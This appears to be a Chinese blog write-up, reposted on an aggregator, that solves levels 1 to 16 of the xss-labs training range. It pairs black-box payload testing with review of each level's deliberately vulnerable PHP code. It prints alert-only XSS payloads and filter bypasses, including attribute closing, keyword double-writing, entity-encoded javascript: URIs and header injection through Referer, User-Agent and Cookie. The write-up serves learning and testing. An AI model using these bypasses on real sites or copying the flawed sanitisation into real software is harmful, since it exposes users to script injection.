以黑盒与白盒的角度分析和通关xss-labs(XSS漏洞类型与总结)

news2024/9/22 8:27:31

目录

目录

前言

XSS漏洞的总结和梳理

1.第一关(基础palyload)

黑盒测试

白盒测试

2.第二关(闭合)

黑盒测试

白盒测试

3.第三关(字符转义)

黑盒测试

白盒测试

4.第四关(字符过滤或替换)

黑盒测试

白盒测试

5.第五关(关键词替换)

黑盒测试

白盒测试

6.第六关(关键词替换)

黑盒测试

白盒测试

第七关(关键词替换)

黑盒测试

白盒测试

8.第八关(herf隐藏属性)

黑盒测试

白盒测试

9.第九关(指定字符过滤)

白盒测试

10.第十关(属性修改)

黑盒测试

白盒测试

11.第十一关(referer注入)

黑盒测试

白盒测试

12.第十二关(UA注入)

黑盒测试

白盒测试

13.第十三关(cookie注入)

黑盒测试

白盒测试

14.第十四关(图片属性弹窗)

白盒测试

15.第十五关(外部文件加载)

黑盒测试

白盒测试

16.第十六关(字符实体替换)

黑盒测试

白盒测试

17-20关


前言

        本靶场我是以黑盒测试过了一遍后,然后通过白盒测试分析代码,并将代码的解析放到了对应的通关下面的,原因就是平常懒的打靶场,个人比较喜欢实战测试,本次以黑+白的测试方式,既对自己的渗透测试xss进行了梳理,也对自己学习了代码审计后对php代码的分析和审计能力做了一个检验.

开局一个死鱼眼,通关全靠弹

XSS漏洞的总结和梳理

                下面是我对XSS漏洞的一个总结与梳理,需要的师傅可自行下载和改进

1.第一关(基础palyload)

黑盒测试

        注意不要被下面的palyload的长度误导,刚开始我以为是只能输入四个字符,观察后发现是参数的字符数目

初始的url: http://127.0.0.1/xss-labs-master/level1.php?name=test

将后面改为1后访问,F12网络查看响应包,发现内容在h1标签中

http://127.0.0.1/xss-labs-master/level1.php?name=1

直接在url处用常用的palyload直接通关

<script>alert(1)</script>

白盒测试

        观察一下这关的代码,获得name参数的值,然后打印获取参数的值和长度,这里是直接echo出输入的数据,并且没有进行任何过滤和转义的

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

2.第二关(闭合)

黑盒测试

直接上来搜索框改为1方便观察,但然也可以不改,然后进行查看,观察返回的源代码

这里发现输出结果还是在h2标签中,但是值1在value中并且因为是在表单中,闭合方式以"进行闭合的,那么OK了,直接在搜索框下面输入下面的任意一个palyload,通关

"><script>alert(1)</script>
x" onclick=alert(1) //

白盒测试

        观察代码,接受name为keyword的内容,其中发现echo部分使用了htmlspecialchars()函数对输出的str数据进行了转义,直接输入"><script>alert(1)</script>会出现下面的情况,但是并没有对表单的value的值进行转义,通过构造闭合方式的表单也会出现xss漏洞

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

3.第三关(字符转义)

黑盒测试

这关发现还是表单,但是直接连test也没有了,还是老样子1,尝试一下

这样观察不出来什么,还是先盲打palyload测试一下

//ok发现输出转义了
<script>alert(1)</script>  

 

那尝试一下闭合表单呢,value处或是输入参数也做了转义,那就OK了

"><script>alert(1)</script>

 

        知道转义了,尝试输入' " <>"&,发现只有单引号没有被过滤同时确定闭合方式为单引号,ok了知道没有被过滤的字符以及闭合方式了,并且根据靶场为php后端开发,猜测可能就是用的默认的htmlspecialchars来做的后端过滤,这个后面分析源代码的时候可以验证

直接尝试掏出我祖传绕过秘笈,打入palyload,然后单击输入框,ok通关了

x'onclick=alert(1)// +单击搜索框
'onclick='alert(1)+单击搜索框

白盒测试

        分析一下源代码,接受name为keyword的内容,其中发现echo部分以及value部分使用了htmlspecialchars()函数对输出的str数据进行了转义,并且value部分的闭合方式为单引号

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

既然进行绕过了,那就具体分析一下htmlspecialchars()这个函数吧

        首先根据上面代码知道,不指定参数,那么为默认的,那么根据下面的显示很明显,只针对双引号做了转义,没有对单引号做转义,OK了

可用的引号类型:

  • ENT_COMPAT - 默认。仅编码双引号。

  • ENT_QUOTES - 编码双引号和单引号。

  • ENT_NOQUOTES - 不编码任何引号。

<?php
$str = "Bill & 'Steve'";
echo htmlspecialchars($str, ENT_COMPAT); // 只转换双引号
echo "<br>";
echo htmlspecialchars($str, ENT_QUOTES);// 转换双引号和单引号
echo "<br>";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不转换任何引号
?>
<!DOCTYPE html>
<html>
<body>
Bill &amp; 'Steve'<br>
Bill &amp; &#039;Steve&#039;<br>
Bill &amp; 'Steve'
</body>
</html>

直接使用使用单引号构造的palyload

x'onclick=alert(1)// + 单击搜索框
'onclick='alert(1)+单击搜索框

4.第四关(字符过滤或替换)

黑盒测试

还是老样子先输入一个1观察一下,然后开始从基础的palyload开始尝试

先输入一个基础palyload尝试看一下回显,很明显h2部分的输出部分进行了转义,发现返回的value没了<>,value处进行了只过滤了符号

<script>alert(1)</script>

 

打一波' " <>& 符号,查看闭合方式以及被过滤的字符,如下图所示,发现了闭合方式为"

那这里也就简单了,只需要使用不含<>的palyload就可以了,还是使用上一关的palyload,只是闭合方式改为了"

x"onclick=alert(1)// + 单击搜索框

白盒测试

        分析一下源代码,可以看到还是和上面的分析的查不多,还是echo输出部分通过htmlspecialchars()函数进行了转义,vlaue部分输出的值通过str_replace()函数将<>进行置换为空后并输出其他内容,并且闭合方式为双引号

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

5.第五关(关键词替换)

黑盒测试

先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

尝试打一个基础的以及前面使用的palyload,发现如下图所示,给value部分的scr和ipt前后加了一个_,上面部分还是进行了转义,发现为o_nclick 观察这两个发现过滤都是关键词,那么尝试使用其他的标签看是否存在别的标签没有被过滤或是尝试大小写绕过

<script>alert(1)</script>
x"onclick=alert(1)//

 

因为html对大小写不敏感,可以先尝试是否存在大小写绕过,发现还是被替换了,说明对输入的字符做了大小写转换,换下一种思路

"><Script>alert(1)</script>

        在尝试不同的标签后,发现fuzz标签后只有前面的那两个关键词被加了_,下面,是尝试的可以进行弹窗的palyload,其中第一个可以出现弹窗,但是不会提示过关,原因嘛猜测跟<iframe>标签本身有关,第二个超链接的形式可以成功过关

"><iframe src=javascript:alert('1');></iframe>  这个有弹窗,但是不会提示过关

 

"><a href="javascript:alert(`1`);">xss</a>  + 点击蓝色的xss

白盒测试

        分析一波代码,果然和前面的黑盒测试发现的结果一致,转义的就不说了,首先使用了strtolower()函数将输入的字符串转为小写,并且其中使用了str_replace()函数将"<script"置换为"<scr_ipt" ,将"on"置换为"o_n"后将其他的内容输出,通过使用不存在这两个关键词的标签进行弹窗就可以了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

6.第六关(关键词替换)

黑盒测试

先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

尝试打上一关测试的palyload,发现还是给value部分的scr和ipt前后加了一个_,上面部分还是进行了转义,发现为o_nclick 发现还是它两

"><script>alert(1)</script>
x"onclick=alert(1)//

        尝试超链接的palyload,发现果然,也把这个加入了,加了个_,但是还有一个特性不要忘记,因为html中对大小写不敏感

"<a href="javascript:alert(`1`);">xss</a>

 

尝试大小写伪造绕过,通关

"><a Href="javascript:alert(`1`);">xss</a>
"><Script>alert(1)</script>

白盒测试

        分析一下代码发现对很多关键词进行了替换,但是没有对输入的字符做大小写转换,这就验证了前面做黑盒测试的时候和第五关不同的原因了,直接大小写绕过即可

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

第七关(关键词替换)

黑盒测试

还是老样子先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

接下来继续打基础的palyload进行尝试,发现如图所示script没了,那么应该和上关一样进行了替换,只是这里替换为了空

"><script>alert(1)</script>

尝试一下大小写绕过,不可以,看来做了大小写转换

"><Script>alert(1)</script>

        既然替换为空,那么尝试双写绕过,我第一次尝试使用的palyload,结果发现返回的信息,当时还有点懵逼,根据返回的ipt突然反应过来了,说明双写绕过是可以的,但是不巧的是,其中有将src这个关键词也替换为空的,尴尬了,但是没事,这不还是有另一个老标签可以使用的,这个这么碰巧,另一个不可能在有了吧

"><scr<script>ipt>alert(1)</script>

 

尝试另一个标签,通关

x"oonnclick=alert(1)//

白盒测试

        分析代码,首先和黑盒测试过程中发现的结果一致,果然做了大小写转换,并且确实对src这个进行了替换,不然第一个palyload是绝对可以的,如代码所示,都只进行了一次替换,那么双写绕过拿下.

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

8.第八关(herf隐藏属性)

黑盒测试

        还是老样子先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">,同时我们知道,在添加后我们需要进行点击,这里获取到的信息为,是在herf这个属性中

 

因为我确实在实战中目前没有碰到过这种情况,因此就只能使用老方法进行fuzz了,尝试进行闭合,发现被替换,尝试大小写,发现存在大小写转换,情况都如下图所示

"><script>alert(1)</script>
"><Script>alert(1)</script>

 

尝试双写绕过发现失败,并且发现把双引号也给替换为&quot了

"><scr<script>ipt>alert(1)</script>
x"oonnclick=alert(1)//

        到这里前面的所有技巧用光了,但是还有一种就是实战中常用的编码操作,但是一般我自己在实战中,直接进行盲打的,这里就结合js以及搜索知道了href有个隐藏属性自动Unicode解码,ok了进行编码

这里我利用的插件进行的编码,至于怎么判段打过ctf,熟悉这个编码了

javascript:alert() //下面是将这行伪协议编码的内容
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

白盒测试

        分析一下代码,首先先是大小写转换,果然和黑盒测试的一致,然后就是关键词的替换,到这里正常是我们基本没办法了,但是因为href的隐藏属性自动Unicode解码,并且转码后也不会被替换,因此可以绕过了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

9.第九关(指定字符过滤)

白盒测试

        本关直接点击连接会出现下面的情况,ok看到这里我其实已经懵逼了,为什么因为无法判断和知道到底是什么不合法,之前也没遇到过,也不黑盒了直接看源码分析

        还是过滤了很多,包含大小写转换,关键词替换,多了使用一个strpos()函数,查看一下这个函数的详情strpos() 函数查找字符串在另一字符串中第一次出现的位置,strpos() 函数对大小写敏感。

说白了就是看输入的连接里面包含http://这个不,不包含就会出现提示不合法的文字

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

直接输入下面的,然后进行添加连接,发现确实没有出现不合法的文字,,但是为了不影响我们的弹窗,我们可以将http://放到注释中就可以了

http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;//http://

10.第十关(属性修改)

黑盒测试

        直接查看页面,发现并没有可以输入信息的地方,查看源代码,发现一个表单,使用了type属性里的hidden属性对三个输入框进行了隐藏

        这里我们可以通过改hidden为text将框显示出来,但是我们没有提交按钮,这里我尝试給不同的两个输入框输入数据,最后一个改为submit,最终发现只有name="t_sort"这个输入框的数据回显了,说明这个是后端接受数据的回显位

尝试基础palyload,发现<>被替换为空了,尝试使用不含<>的palyload

"><script>alert(1)</script>

这里先把第一个标签的type改为submit,然后将第三个标签的type改为text输入palyload,进行提交后页面会刷新一次,再将第三个的type改为text,然后点击输入框,发现成功过关

x"onclick=alert(1)// + 单击输入框

白盒测试

        分析代码,发现首先没有经过大小写转换,并且确实是第三个标签接受数据和返回数据,将<>替换为空,因为无法尝试大小写绕过了,但是没有对一些js的关键词进行替换,因此可以通过多种方式进行绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

11.第十一关(referer注入)

黑盒测试

这关还是和上关一样,没有任何输入的地方,查看源代码,果然和上关一样

        本来继续尝试回显位以及有没有过滤或是关键词被替换之类的,找回显位就是改其他位置为按钮submit,把其他改为text进行测试,看返回页面的内容,但是在查看源代码时候发现了第四个标签中,出现了的上一关的url链接和信息,这里如果经常实战的师傅一看就知道是怎么来的了,并且单词的缩写也提示了就是referer,说明这里的值是根据referer传入的,那么可以通过burp抓包添加referer或是插件都可以,先用符号测试一波,如下图所示,用HackBar验证确实是referer进行传参,知道了<>被过滤了,并且闭合为"

 < > " '&

 

        既然过滤了<>,那可以使用的palyload也就考虑没有<>的了,构造palyload,先打一波,看是否存在关键词替换,发现并替换,OK了把type的hidden改为text,点击输入框就通关了

x"onclick=alert(1)//

白盒测试

        分析一下源码,其他的都不用,中点看可以弹窗的部分,其中使用了$_SERVER['HTTP_REFERER']作用是可以获取当前链接的上一个连接的来源地址,最初作用是用来防止盗链的,到这里用做了获取referer的值,并且在value输出处,没有进行转义,只是对输入的值进行了<>替换为空,用onclick就可以绕过了

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

12.第十二关(UA注入)

黑盒测试

        还是没有输入框,那么查看一下源代码吧,还是hidden隐藏了输入框,只不过最后一个,根据值以及前面的缩写,知道了这是ua头吧,有了上一关的经验,那么直接用palyload打一下

将userAgent改为下面的palyload,然后将type的值改为text

x"onclick=alert(1)//

发现palyload确实和上一关一样没有进行关键词替换,ok点击输入框通关 

白盒测试

        分析提下一下代码,和上关基本一致,只是获取到的数据为User_agent $_SERVER['HTTP_USER_AGENT']获取user_agent的值,然后将<>替换为空,最后没有转义的输出,通过onclick就可绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

13.第十三关(cookie注入)

黑盒测试

        老样子页面还是没有输入框,查看源代码发,发现这次没有什么明显的传值了,但是多了一个cook的东西,猜测可能是cookie注入

通小饼干插件查看,发现存在一个user,并且值和其中的value值对的上,ok解决了

直接打入和之前相同的palyload,然后更改type的hidden为text,然后单击输入框通关

x"onclick=alert(1)//

白盒测试

        分析一下源代码,发现和之前相似的两关,除了设置了一个cookie作为传值外,其他的没什么区别,设置由cookie传值,然后将<>替换为空,没有将关键词替换以及最后没有进行转义将其输出,造成漏洞

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

14.第十四关(图片属性弹窗)

白盒测试

        发现这关出来问题,最后只能直接看代码了,发现并没有任何的交互,因为出现了iframe这个标签,自己作为开发的一份子,对这个标签也是有一定的了解的,iframe标签的作用就是将一个别的页面引入到此页面中,但是访问下面的页面,发现已经没了,于是只能搜了一下本关的解法,ok具体可以看一下这个师傅写的文章xss-labs靶场-第十四关 iframe和exif xss漏洞 - FreeBuf网络安全行业门户,其实本关就是利用了实战中的弹窗的另一种方式而已,利用图片属性进行弹窗

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

15.第十五关(外部文件加载)

黑盒测试

本关还是没有输入框之类的信息,老样子直接查看源代码,发现除了这个注释没有什么别的有用的信息,直接百度这个信息

可以保护外部的html文件,必须在同一个域名下

注意点:

ng-include,如果单纯指定地址,必须要加引号。

ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册。

ng-include,加载外部html中含有style标签样式可以识别。

ng-inclue,记载外部html中的link标签可以加载。

知道可以包含之前的文件,接下来我就尝试包含之前关卡的文件,最终发现尝试第一关并让第一关弹窗,根据前面的注意点,我们知道不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能的,这里我们使用img标签,构造payload,在URL处输入

?src='level1.php?name=<img src=1 onerror=alert(1)>'

白盒测试

分析源代码,以get方式在url中获取src属性的值然后以转义的形式将其输出,具体没有什么交互,本关引起漏洞的原因不在后端

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

16.第十六关(字符实体替换)

黑盒测试

        本关还是没有输入框之类的信息,但是注意存在一个test,观察url后发现,url处存在一个keyword=test ,那么开始测试,先测试符号,发现过滤

 < > ' " & /

打一个基础palyload看看情况,发现script被替换为空字符实体

<script>alert('1')</script>

        确定符号以及script都不能使用了,并且也不是属性的位置那么onclick相关的palyload也无法使用了,那么只能使用不包含这些palyload,看看我的绕过标签中还有这个符号

既然空格被过滤,但是我们是在url中传入的,可以通过编码进行绕过通过%0a这个空格的url编码进行替换空格代替空格进行绕过通关

<img%0asrc=1%0aonerror=alert(1)>

白盒测试

        分析一下源代码和测试,通过get请求获取的值进行转为小写,首先都转为小写,大小写绕过无法实现了,其次对符合以及script关键词进行实体替换,最后进行输出,但是没有对其他的关键词进行限制,并且最后输出时也没有进行转义,因此可以通过%0a的url编码绕过了空格转为实体,通过其他标签绕过script的限制.

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

17-20关

        其他关卡都是基于flash实现的,在实战中很少会遇到这么老的系统了,总结起来就是利用难度大,危害低,并且实现起来也比较复杂了,这里就不进行测试了,如果想进一步了解的师傅可以看其他师傅的文章进行复现和学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1901712.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DNS正向解析与反向解析实验

正向解析 安装bind软件 [rootlocalhost ~]# dnf install bind bind-utils -y修改主配置文件/etc/named.conf [rootlocalhost ~]# vim /etc/named.conf重启DNS服务&#xff08;named&#xff09; [rootlocalhost ~]# systemctl restart named编辑数据配置文件。在/var/named…

G2.【C语言】EasyX绘制颜色窗口

1.窗口 窗口&#xff1a;宽度*高度&#xff08;单位都是像素&#xff09; #include <stdio.h> #include <easyx.h> int main() {initgraph(640, 480);getchar();return 0; } 640是宽&#xff0c;480是高 2.操作窗口的三个按钮 #include <stdio.h> #incl…

[FreeRTOS 功能应用] 事件组 功能应用

文章目录 一、基础知识点二、代码讲解三、结果演示四、代码下载 一、基础知识点 [FreeRTOS 基础知识] 事件组 概念 [FreeRTOS 内部实现] 事件组 本实验是基于STM32F103开发移植FreeRTOS实时操作系统&#xff0c;事件组实战操作。(当task1和task2同时完成&#xff0c;才执行ta…

[240706] 史蒂夫·乔布斯近40年前就预言了苹果智能 | Globalping 用于网络诊断和性能测试的命令行工具

目录 史蒂夫.乔布斯近40年前就预言了苹果智能Globalping 用于网络诊断和性能测试的命令行工具功能1. Ping2. Traceroute3. DNS 查询4. HTTP 请求 使用场景1. 网络性能监测2. 故障排除3. 网站性能优化4. 服务可用性监控 优势1. [全球覆盖](https://www.jsdelivr.com/network)2. …

【linux学习---1】点亮一个LED是多么的困难!!!

文章目录 1、原理图找对应引脚2、IO复用3、IO配置4、GPIO配置5、GPIO时钟使能6、总结7、编程8、编译9、链接10、格式转换11、反汇编&#xff08;查看用&#xff09;12、使用Makefile操作13、代码烧写14、代码验证 1、原理图找对应引脚 从上图 可以看出&#xff0c; 蜂鸣器 接到…

2024全网最全面及最新且最为详细的网络安全技巧五 之 SSRF 漏洞EXP技巧,典例分析以及 如何修复 (上册)———— 作者:LJS

五——SSRF漏洞 EXP技巧&#xff0c;典例分析以及 如何修复 目录 五——SSRF EXP技巧&#xff0c;典例分析以及 如何修复 5.1Apache mod_proxy SSRF&#xff08;CVE-2021-40438&#xff09;的一点分析和延伸 0x01 Apache Module综述 0x02 漏洞原理分析 Apache在配置反代的后端…

跟《经济学人》学英文:2024年07月06日这期:Finishing schools for the age of TikTok

Finishing schools for the age of TikTok Unsure how to be polite at work? Ask a digital etiquette guru 不确定如何在工作中保持礼貌&#xff1f;请教一位数字礼仪大师 “Finishing schools” 是指专门为年轻女性提供礼仪、社交技巧、文化修养等教育的学校&#xff0c;…

深度解析 Raft 分布式一致性协议

本文参考转载至&#xff1a;浅谈 Raft 分布式一致性协议&#xff5c;图解 Raft - 白泽来了 - 博客园 (cnblogs.com) 深度解析 Raft 分布式一致性协议 - 掘金 (juejin.cn) raft-zh_cn/raft-zh_cn.md at master maemual/raft-zh_cn (github.com) 本篇文章将模拟一个KV数据读写服…

华为开发者大会2024纪要:鸿蒙OS的全新篇章与AI大模型的革命

华为开发者大会2024纪要:鸿蒙OS的全新篇章与AI大模型的革命 在科技的浪潮中,华为再次引领潮流,2024年的开发者大会带来了一系列令人瞩目的创新成果。从鸿蒙操作系统的全新Beta版到盘古大模型的震撼发布,华为正以前所未有的速度重塑智能生态。以下是本次大会的亮点,让我们…

springboot马拉松赛事志愿者管理系统-计算机毕业设计源码80251

摘 要 随着马拉松运动的兴起和发展&#xff0c;马拉松赛事的组织和管理面临着越来越多的挑战&#xff0c;其中志愿者的招募、培训和管理是至关重要的一环。传统的人力资源管理方式已经无法满足大型马拉松赛事对志愿者团队的需求&#xff0c;因此基于现代信息技术的马拉松赛事志…

电表读数检测数据集VOC+YOLO格式18156张12类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;18156 标注数量(xml文件个数)&#xff1a;18156 标注数量(txt文件个数)&#xff1a;18156 标…

oracle数据库默认表空间详解

文章目录 oracle数据库默认表空间列表 oracle数据库默认表空间列表 系统表空间&#xff08;System Tablespace&#xff09; 系统表空间包含了系统级别的元数据&#xff0c;如数据字典、系统表和存储过程等。例如SYSTEM表空间用于保存数据库的数据字典、PL/SQL程序的源代码和解释…

Windows如何查看端口是否占用,并结束端口进程

需求与问题&#xff1a;前后端配置了跨域操作&#xff0c;但是仍然报错&#xff0c;可以考虑端口被两个程序占用&#xff0c;找不到正确端口或者后端接口书写是否规范&#xff0c;特别是利用Python Flask书写时要保证缩进是否正确&#xff01; Windows操作系统中&#xff0c;查…

【算法专题】模拟算法题

模拟算法题往往不涉及复杂的数据结构或算法&#xff0c;而是侧重于对特定情景的代码实现&#xff0c;关键在于理解题目所描述的情境&#xff0c;并能够将其转化为代码逻辑。所以我们在处理这种类型的题目时&#xff0c;最好要现在演草纸上把情况理清楚&#xff0c;再动手编写代…

pytest使用报错(以及解决pytest所谓的“抑制print输出”)

1. 测试类的类名问题 #codingutf-8import pytestclass TestClass1:def setup(self) -> None:print(setup)def test_01(self) -> None:print(test_01111111111111111111111)def test_02(self) -> None:print(test_02)以上述代码为例&#xff0c;如果类名是Test开头&am…

基于Android Studio订餐管理项目

目录 项目介绍 图片展示 运行环境 获取方式 项目介绍 能够实现登录&#xff0c;注册、首页、订餐、购物车&#xff0c;我的。 用户注册后&#xff0c;登陆客户端即可完成订餐、浏览菜谱等功能&#xff0c;点餐&#xff0c;加入购物车&#xff0c;结算&#xff0c;以及删减…

Mysql慢日志、慢SQL

慢查询日志 查看执行慢的SQL语句&#xff0c;需要先开启慢查询日志。 MySQL 的慢查询日志&#xff0c;记录在 MySQL 中响应时间超过阀值的语句&#xff08;具体指运行时间超过 long_query_time 值的SQL。long_query_time 的默认值为10&#xff0c;意思是运行10秒以上(不含10秒…

Nginx(http配置、https配置)访问Spring Boot 项目

